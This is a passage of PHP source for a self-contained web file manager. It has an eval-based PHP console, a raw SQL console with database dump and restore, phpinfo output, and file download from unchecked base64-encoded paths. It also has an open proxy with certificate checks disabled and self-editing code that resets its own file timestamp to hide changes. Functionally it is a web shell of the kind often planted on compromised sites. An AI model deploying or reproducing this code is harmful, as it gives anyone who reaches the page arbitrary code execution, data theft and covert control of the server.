			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>Bar-KnOW</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKn